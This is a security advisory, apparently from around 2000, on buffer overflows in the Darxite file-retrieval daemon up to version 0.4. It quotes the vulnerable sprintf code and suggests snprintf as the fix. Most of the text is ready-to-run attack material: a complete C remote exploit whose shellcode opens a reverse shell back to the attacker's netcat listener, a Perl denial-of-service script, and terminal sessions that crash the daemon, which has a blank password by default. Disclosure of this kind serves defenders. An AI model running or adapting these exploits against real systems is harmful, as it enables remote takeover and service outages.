COMMAND

    darxite

SYSTEMS AFFECTED

    All versions up to and including 0.4

PROBLEM

    'dethy'  found  following  and  Scrippie  &  dethy  exploited  it.
    "Darxite" is a daemon, written  by Ashley Montanaro, whose job  is
    to retrieve files via FTP or HTTP and execute other FTP  commands,
    and a number  of "client" programs  whose jobs are  to control the
    daemon.

    1. This is a very simple problem.  Vulnerability exist in a number
       of places throughout the code, allowing a local/remote user  to
       send  more  than  the  predefined  buffer causing the server to
       crash, and process die. Daemon does not leave a coredump of the
       memory  image  since   it  uses  a   `case  SIGSEGV:  ..`   but
       nevertheless the program will crash.

    2. Now  there  is  also  a passwd authentication remote  overflow,
       allowing remote shell access as the uid of the darxite  daemon.
       From Library/sockets.c

        char buffer[256];
              ..
        sprintf(buffer, "%s\n", name);
              ..
        sprintf(buffer, "%s\n, password);

       As you  can see,  specifying more  than 256  bytes will cause a
       stack overflow.  Scrippie has provided a working  demonstration
       exploit, as seen below.

    /*
       Darxite Daemon v0.4 password authentication overflow
       ----------------------------------------------------
    
       I tried to use some easy functions for string creation, and they seem to
       work pretty quick (no more hours of frustration writing for loops :).
    
       As always I used my own shellcode, you should do a "nc -l -p 27002" on the
       machine you fill in as "your IP" and execute this - if it works you'll have
       a shell in the netcat session.
    
    
       -- Scrippie/ronald@grafix.nl
    */
    
    /* Synnergy.net 2000 (c) */
    
    #include <stdio.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <sys/socket.h>
    #include <stdlib.h>
    #include <string.h>
    
    #define DARX_BUF        1024
    #define NUM_NOPS        1000
    
    int xconnect(unsigned long, unsigned int);
    void readBanner(int socket);
    char *strcreat(char *, char *, int);
    char *stralign(char *, int);
    char *longToChar(unsigned long);
    
    char hellcode[]=
            "\xeb\x7a\x5e\x31\xc0\x31\xdb\x31\xd2\xb0\x66\xb3\x01\x8d\x4e"
            "\x1c\xb2\x01\x89\x56\x20\xb2\x06\x89\x56\x24\xb2\x02\x89\x56"
            "\x1c\xcd\x80\x89\x46\x18\x89\x16\x66\xc7\x46\x02\x69\x7a\x89"
            "\x46\x1c\x8d\x06\x89\x46\x20\x80\xc2\x0e\x89\x56\x24\x31\xc0"
            "\x04\x66\x80\xc3\x02\x8d\x4e\x1c\xcd\x80\x31\xc0\x04\x3f\x89"
            "\xc2\x8b\x5e\x18\x31\xc9\xcd\x80\x89\xd0\x41\xcd\x80\x89\xd0"
            "\x41\xcd\x80\x31\xc0\x8d\x7e\x0f\x80\xc1\x07\xf3\xaa\x04\x0b"
            "\x8d\x5e\x08\x89\x5e\x10\x8d\x4e\x10\x31\xd2\xcd\x80\x31\xc0"
            "\xfe\xc0\xcd\x80\xe8\x81\xff\xff\xff\x41\x41\x42\x42\xBB\xBB"
            "\xBB\xBB\x2f\x62\x69\x6e\x2f\x73\x68";
    
    int main(int argc, char **argv)
    {
       int sd;
       unsigned int align=0;
       unsigned long sip, retaddy=0xbffff928;
       char *iploc, *evilstring;
    
       if(argc < 4) {
          printf("Use as: %s <target IP> <target port> <your ip> [ret addy]
    [align]
             \n", argv[0]);
          exit(0);
       }
    
       if((sip = inet_addr(argv[3])) == -1) {
          perror("inet_addr()");
          exit(-1);
       }
    
       if(argc > 4) retaddy = strtoul(argv[4], NULL, 16);
       if(argc > 5) align = atoi(argv[5]);
    
       printf("Using return address: 0x%lx\n", retaddy);
       printf("Using alignment: %d\n", align);
    
       /* Locate the IP position in the shellcode */
       iploc=(char *)strchr(hellcode, 0xBB);
       memcpy((void *) iploc, (void *) &sip, 4);
    
       /* Generate the overflow string */
    
       evilstring = strcreat(NULL, "A", align);
          /* We memory leak 5 bytes here, don't make a service out of this :) */
       evilstring = strcreat(evilstring, longToChar(retaddy), (DARX_BUF+8)>>2);
       evilstring = strcreat(evilstring, "\x90", NUM_NOPS);
       evilstring = strcreat(evilstring, hellcode, 1);
    
       sd = xconnect(inet_addr(argv[1]), atoi(argv[2]));
    
       printf("Connected... Now sending overflow...\n");
    
       send(sd, evilstring, strlen(evilstring)+1, 0);
    
       free(evilstring);
       return(0);
    }
    
    /*
       Returns the socket descriptor to "ip" on "port"
    */
    
    int xconnect(unsigned long ip, unsigned int port)
    {
       struct sockaddr_in sa;       /* Sockaddr */
       int sd;                      /* Socket Descriptor */
    
       if((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
          perror("socket()");
          exit(-1);
       }
    
       memset(&sa, 0x00, sizeof(struct sockaddr_in));
       sa.sin_port=htons(port);
       sa.sin_addr.s_addr=ip;
    
       if(connect(sd, &sa, sizeof(struct sockaddr_in)) == -1) {
          perror("connect()");
          exit(-1);
       }
    
       return(sd);
    }
    
    /*
       Yummy yummy function for easy string creation
    */
    
    char *strcreat(char *dest, char *pattern, int repeat)
    {
       char *ret;
       size_t plen, dlen=0;
       int i;
    
       if(dest) dlen = strlen(dest);
       plen = strlen(pattern);
    
       ret = (char *)realloc(dest, dlen+repeat*plen+1);
    
       for(i=0;i<repeat;i++) {
          strcat(ret, pattern);
       }
       return(ret);
    }
    
    /*
       Converts a long to an array containing this long
    */
    
    char *longToChar(unsigned long blaat)
    {
       unsigned int i;
       char *ret;
    
       ret = (char *)malloc(sizeof(long)+1);
    
       for(i=0;i<sizeof(long);i++) {
          ret[i] = (blaat >> (i<<3)) & 0xff;
       }
       ret[sizeof(long)] = 0x00;
    
       return(ret);
    }

    Below  is  some  of  the  offending  code  causing  a  remote DoS.
    For local users specifying the -f <file> for `darxcmd` will  force
    the client to  read in an  arbitary config file  into a buffer  of
    limit 4096.  Upon connection to the server, darxcmd will crash  by
    specifying any of the below parameters.

    From daemon/http.c

        if (strcmp(DX_ProxyHostName, "") && (DX_ProxyPort > 0))
        {
            sprintf(get_string, "GET %s://%s%s HTTP/1.0", file->Protocol,
                    file->ActualServer->Name, file->Path);
        }
        else
        {
            sprintf(get_string, "GET %s HTTP/1.0", file->Path);
        }
        sprintf(buffer,
                "%s\r\n"
                "Host: %s\r\n"
                "User-Agent: Darxite/%s\r\n"
                "%s\r\n",
                get_string, file->ActualServer->Name, RELEASE_VER, range);
        
                sprintf(buffer, "\"%s://%s%s\" | \"%s\" | %s | %s | %s | %d",
                        file->Protocol, file->Server->Name, file->Path,
                        file->LocalPath, file->LogIn, file->Password,
                        file->Flags, total_size);

    Likewise in daemon/ftp.c

        char get_buffer[256];
              ..
        sprintf(get_buffer, "%s://%s%s/%s | %s/%s | %s | "
                "%s | %s | %s", file->Protocol,
                file->ActualServer->Name, path_buffer,
                                   line_ptr, local_path, line_ptr,
                                   file->LogIn, file->Password, new_flags,
                                   size);

    .. and daemon/files.c

        char line_buffer[1024];
                ..
            sprintf(line_buffer, "\"%s://%s%s\" | \"%s\" | %s | %s | %s | "
                    "%d\n", new_file->Protocol, server->Name,
                    new_file->Path, new_file->LocalPath,
                    new_file->LogIn, new_file->Password,
                    new_file->Flags, new_file->TotalSize);
        
        
        /* list goes on.. */

    Note: by default installation of Darxide the password is blank!

        [ syn:/home/deth ]$ telnet localhost 69
        
        Trying 127.0.0.1...
        Connected to localhost.
        Escape character is '^]'.
        900 Welcome to Darxite 0.4. Enter your password.
        <enter>
        900 Password OK; tell me your name.
        any-name-will-do
        900 "any-name-will-do" connected OK.
        Get [buffer exceeding 1024 chars]
        DX: Segment violation. Lots of features mean lots of bugs.
        Connection closed by foreign host.
        
        [ syn:/home/deth ]$
        
        /* Server has crashed and process killed */

    We could also do something like:

        [ syn:/home/deth ]$ darxget -clocalhost:2000 -o- `perl -e 'print "A"x1024'`
        Enter Passsword for daemon on localhost:
        <enter>
        
        /* Now checking the daemon logs */
        
        DX. Segmentation violation.
        Connection closed by foreign host.

    Although we doubt  you'll find many  server's running it,  here is
    a very basic and trivial perl exploit for proof of concept.

    #!/usr/bin/perl
    # lame DoS
    #
    use Getopt::Std;
    use Socket;
    getopt('s:p', \%args);
    if(!defined($args{s}) && !defined($args{p})){&usage;}
    $serv = $args{s};
    $port = $args{p};
    $foo = "A";
    $bar = 1024;
    $foobar .= $foo x $bar;
    
    $in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
    $paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
    $proto = getprotobyname('tcp') || die("Error: $!\n");
    
    socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(S, $paddr) || die("Error: $!\n");
    select(S); $| = 1; select(STDOUT);
    
    $res=<S>; print "$res\n";
    sleep 1;
    print S "\r\n";
    $res=<S>; print "$res\n";
    sleep 1;
    print S "guest\n";
    $res=<S>; print "$res\n";
    sleep 1;
    print S $foobar || die("Error: $!\n");
    close(S);
    
    print("killed Darxite successfully. Feeling better now?\n");
    
    sub usage {die("\n\n$0 -s <server> -p <port>\n\n");}

SOLUTION

    Wait until the next patched version of Darxite comes out, or  even
    changed the  code yourself  if this  program is  that important to
    you.  (snprintf() isn't the hardest thing.)